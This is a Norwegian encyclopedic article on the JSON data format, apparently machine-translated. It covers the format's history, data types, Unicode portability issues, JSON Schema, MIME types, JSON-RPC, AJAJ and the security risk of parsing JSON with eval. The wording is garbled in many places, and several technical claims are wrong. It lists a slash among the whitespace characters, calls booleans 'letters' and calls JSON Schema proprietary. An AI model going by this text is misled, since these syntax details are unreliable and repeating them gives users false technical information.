JSON er et språkuavhengig dataformat som ble avledet fra JavaScript. Siden 2017 har mange programmeringsspråk brukt kode for å generere og analysere data bare i den. JSON-filnavn bruker filtypen .json.

skapelseshistorie

JSON-formatet ble opprinnelig utviklet av Douglas Crockford på begynnelsen av 2000-tallet, og deretter definerte to konkurrerende standarder (RFC 7159 og ECMA-404) det i 2013. ECMA-standarden beskriver kun gyldig syntaks, mens RFC dekker noe av det grunnleggende om sikkerhet og interoperabilitet.

I tillegg er det RFC 7493, som definerer en begrenset profil kjent som I-JSON (forkortelse for Internet JSON). Han søker å overvinne noen kommunikasjonsproblemer. Hvert slikt dokument er et gyldig JSON-dokument.

Behovet for å lage dette formatet vokste ut av behovet for en reell kommunikasjonsprotokoll mellom serveren og nettleseren, utført i sanntid uten bruk av plugins (som Flash eller Java-applets).

Utvikling og applikasjon

Som nevnt var Douglas Crockford, skaperen av StateSoftware, banebrytende og populariserte JSON-formatet. Deretter ble medgründerne enige om å bygge et system som bruker standard nettleserfunksjoner og ga et abstraksjonslag for utviklere for å lage applikasjoner med en kontinuerlig dupleksforbindelse til en webserver. Samtidig ble det mulig å holde to HTTP-forbindelser åpne og behandle dem frem til standard driftstid for nettleseren, dersom det ikke ble utført datautveksling. Medgründerne holdt en rundebordsdiskusjon og stemte for å navngi dataformatet JSML eller JSON, og bestemme hvilken type lisens som den nye utviklingen vil være tilgjengelig under. Formatet er for øyeblikket åpen kildekode.

Praktisk bruk

Nettstedet JSON.org ble lansert i 2002. I desember 2005, Yahoo! begynte å tilby noen av sine nettjenester i dette formatet. Google begynte først å bruke JSON-feeder for sin GData-nettprotokoll i desember 2006.

JSON-filformatet var opprinnelig ment for et undersett av JavaScript-skriptspråket (spesifikt Standard ECMA-262 3rd Edition-desember) og ble ofte brukt med det. Dette er imidlertid et dataspråkuavhengig format. Koden for å analysere og generere JSON-data er tilgjengelig på mange programmeringsspråk. JSON-nettstedet viser alle bibliotekene.

Selv om det elektroniske JSON-formatet opprinnelig ble annonsert og betraktet som et strengt undersett av JavaScript og ECMAScript, tillater det noen ganger noen ikke-escapede tegn i strenger som er ugyldige i JavaScript- og ECMAScript-strenger.

JSON ble i seg selv en internasjonal ECMA-standard i 2013 som ECMA-404, som ble brukt som referanse i RFC 7158 samme år. I 2014 ble RFC 7159 den primære referansen for bruk av JSON på nettet (f.eks. MIME-applikasjon / json).

Datatyper, syntaks og eksempel

De viktigste JSON-datatypene er:

  • Tall: Et fortegnet desimaltall som kan inneholde en brøkdel og kan bruke den eksponentielle notasjonen E, men som ikke kan inkludere ikke-tall (som NaN). Formatet skiller ikke mellom heltall og flyttall. JavaScript bruker dobbel presisjons flyttallformat for alle sine numeriske verdier, men andre språk som implementerer JSON kan kode dem annerledes.

  • String: En sekvens med null eller store Unicode-tegn. Strenger er avgrenset med doble anførselstegn og støtter omvendt skråstrek-syntaks.
  • Bokstaver: Enhver av sann eller usann.
  • Array: En ordnet liste med null eller flere verdier, som hver kan være av hvilken som helst type. Matriser bruker firkantede parenteser med kommaer.
  • Objekt: En uordnet samling av navn/verdi-par, der navn (også kalt nøkler) er strenger. Siden objekter er utformet for å representere assosiative matriser, anbefales det (selv om det ikke er nødvendig) at hver nøkkel er unik i den. Objekter er atskilt med krøllete klammeparenteser og bruker kommaer for å skille hvert par, mens inni hvert av dem skiller et kolontegn nøkkelen eller navnet fra verdien.
  • Null: En tom verdi som bruker ordet null.

Begrensede mellomrom er tillatt og kan plasseres rundt eller mellom syntaktiske elementer (betydning og tegnsetting, men ikke innenfor strengverdien). For dette formålet teller bare fire spesialtegn som mellomrom: mellomrom, horisontal tabulator, linjeskift og skråstrek. Spesielt trenger ikke byteordremerket å genereres av en samsvarende implementering (selv om det kan aksepteres ved parsing av JSON). JSON-forespørselen gir ikke syntaks for kommentarer.

Tidligere versjoner (som de som er spesifisert i RFC 4627) krevde at et gyldig dokument bare bestod av et objekt eller en matrisetype, som kunne inneholde andre typer i dem. Dette JSON-formatet, som et eksempel kan finnes på eldre nettsider, brukes foreløpig ikke.

Problemer med dataportabilitet

Selv om Douglas Crockford opprinnelig hevdet at JSON er et strengt undersett av JavaScript, tillater spesifikasjonen det faktisk opprettet dokumenter som er uleselige i JavaScript. Nærmere bestemt tillater JSON at Unicode-strengverdiene U + 2028 LINE SEPARATOR og U + 2029 PARAGRAPH SEPARAT vises uten escaped i anførselstegn, men JavaScript gjør det ikke. Dette er fordi JSON bare forbyr "kontrolltegn". For maksimal kompatibilitet bør disse tegnene escapes med en omvendt skråstrek. Denne subtiliteten er viktig når du lager JSONP.

JSON-format: hvordan åpner jeg det?

JSON-dokumenter kan kodes i UTF-8, UTF-16 eller UTF-32, standardkodingen er UTF-8. Disse standardene støtter hele settet med "Unicode"-tegn, inkludert tegn utenfor det flerspråklige hovedplanet (U + 10000 til U + 10FFFF). Imidlertid, hvis escaped, må disse tegnene skrives ved hjelp av UTF-16 surrogatpar - en detalj som noen JSON-parsere savner. Hvordan åpnes og hvordan vil en slik fil leses?

Tall i dette formatet er agnostiske når det gjelder representasjonen i programmeringsspråk. Det er ingen forskjell mellom et heltall og en flyttallsverdi: noen implementeringer kan behandle 42, 42.0 og 4.2E + 1 som samme tall, mens andre kanskje ikke. I tillegg er det ingen krav til problemer som overløp, underflyt, tap av presisjon eller avrunding. Dessuten sier JSON-formatet ingenting om håndteringen av signerte nuller, uavhengig av om 0.0 er annet enn -0.0. De fleste implementeringer som bruker flytende kommastandarden IEEE 754, inkludert JavaScript, lagrer signerte nuller, men ikke alle JSON-implementeringer kan.

Bruk i JavaScript

Siden JSON-formatet ble avledet fra JavaScript og dets syntaks er (for det meste) en undergruppe av språket, kan du bruke JavaScripteval-funksjonen til å analysere JSON-dataene. På grunn av problemet med å analysere Unicode-strengterminatorer som ble diskutert i forrige avsnitt, må eval-funksjonen erstatte dem.

Det er utrygt hvis strengen ikke er riktig validert. I stedet bør du bruke JSON-parserbiblioteket eller JavaScript-støtte for å lese og skrive JSON.

En riktig implementert parser aksepterer bare gyldig JSON-format, som beskrevet i systemet, og forhindrer utilsiktet kjøring av potensielt skadelig kode.

Siden 2010 har nettlesere som Firefox og Internet Explorer blitt aktivert for parsing og eksport til JSON-format.

Innebygde datatyper støttes ikke

JavaScript-syntaks definerer flere innfødte datatyper som ikke er inkludert i JSON-standarden: Kart, Set, Dato, Error, Regular Expression, Function og noen få andre. Disse JavaScript-datatypene må være representert i et annet format, med begge programmene enige om hvordan de skal konvertere mellom typer. Det er noen defacto-standarder i dag, for eksempel å konvertere en dato til en streng, men ingen av dem er generelt akseptert. Andre språk kan ha et annet sett med innfødte typer som må serialiseres nøye for å håndtere denne typen konvertering.

JSON-skjema

Et skjema brukes til å definere en JSON-datastruktur for validering, dokumentasjon og interaksjonsadministrasjon. Den gir en slags kontrakt for dataene som kreves av applikasjonen og en måte å endre dem på.

Skjemaet er basert på konsepter fra XML Schema (XSD), men er proprietært. Som med XSD, brukes de samme serialiserings-/deserialiseringsfasilitetene for både skjema og data.

Schema er et internettprosjekt som for øyeblikket er i versjon 5 (utgitt 13. oktober 2016). Det er flere tilgjengelige validatorer for forskjellige programmeringsspråk, hver med forskjellig grad av samsvar. Det er ingen standard filtype, men noen eksperter foreslår å godkjenne .schema.json.

MIME-type

Den offisielle MIME-typen for JSON-tekst er "application / json". Selv om de fleste moderne implementeringer har tatt i bruk den offisielle MIME-typen, fortsetter mange applikasjoner å gi eldre støtte for andre MIME-typer. Mange tjenesteleverandører, nettlesere, servere, nettapplikasjoner, biblioteker, rammeverk og API-er bruker, forventer eller gjenkjenner en MIME-type hvis innhold ser ut som "tekst / json" eller "tekst / javascript". Viktige eksempler inkluderer Google Search API, Yahoo!, Flickr, Facebook API, DojoToolkit 0.4, og så videre.

JSON-RPC

JSON-RPC er en JSON-basert RPC-protokoll (Remote Procedure Call) opprettet som en erstatning for XML-RPC eller SOAP. Det er en enkel protokoll som bare definerer noen få typer data og kommandoer. Det lar systemet sende varsler (informasjon til serveren som ikke krever svar) og flere anrop til serveren som kan besvares ute av drift.

AJAJ

Asynkron JavaScript og JSON (eller AJAJ) refererer til den samme dynamiske nettsidemetodikken som Ajax, men i stedet for XML er det JSON-dataformatet som dominerer. AJAJ er en nettutviklingsteknologi som gjør det mulig for en nettside å be om nye data etter å ha blitt lastet inn i en nettleser. Den viser dem vanligvis fra serveren som svar på brukerhandlinger på den siden. For eksempel, hva brukeren skriver inn i søkeboksen, sender klientkoden deretter til serveren, som umiddelbart svarer med en rullegardinliste over matchende databaseelementer.

Sikkerhetshensyn

JSON-tekst er definert som et dataserialiseringsobjekt. Utformingen, som en løs undergruppe av JavaScript-skriptspråket, utgjør imidlertid flere sikkerhetsproblemer. De fokuserer på å bruke Javascript-tolken for dynamisk å utføre JSON-tekst som innebygd JavaScript. Dette utsetter programmet for feilaktige eller ondsinnede skript. Dette er et alvorlig problem når du arbeider med data hentet fra Internett.

Denne enkle og populære, men risikable metoden drar fordel av JavaScripteval-kompatibilitet.

Noen utviklere tror feilaktig at JSON-tekst også er syntaktisk lik JavaScript, selv om dette bare er delvis sant. Derfor antas det at en enkel måte for et JavaScript-program å analysere data i dette formatet på er å bruke den innebygde JavaScripteval-funksjonen, som ble designet for å evaluere Javascript-uttrykk. I stedet for å bruke en spesifikk parser, brukes tolken selv til å kjøre JSON-data, og skaper naturlige JavaScript-objekter. Denne metoden er imidlertid risikabel hvis det er en mulighet for at JSON-dataene kan inneholde vilkårlig Javascript, som da vil bli utført på samme måte. Hvis det ikke tas noen skritt for å validere dataene først, er evalmetoden sårbar for sikkerhetssårbarheter der dataene og hele JavaScript-miljøet ikke er under kontroll av en enkelt pålitelig kilde.

For eksempel, hvis dataene ikke er validert, blir de angrepet av skadelig JavaScript. Slike brudd kan også utgjøre en risiko for datatyveri, autentiseringsforfalskning og annen potensiell misbruk av data og ressurser.

Dermed er den nye JSON.parse-funksjonen designet som et sikrere alternativ til eval. Den er spesielt utviklet for å håndtere JSON-data, ikke JavaScript. Det var opprinnelig planlagt inkludering i den fjerde utgaven av ECMAScript-standarden, men dette skjedde ikke. Den ble først lagt til i versjon 5 og støttes nå av store nettlesere.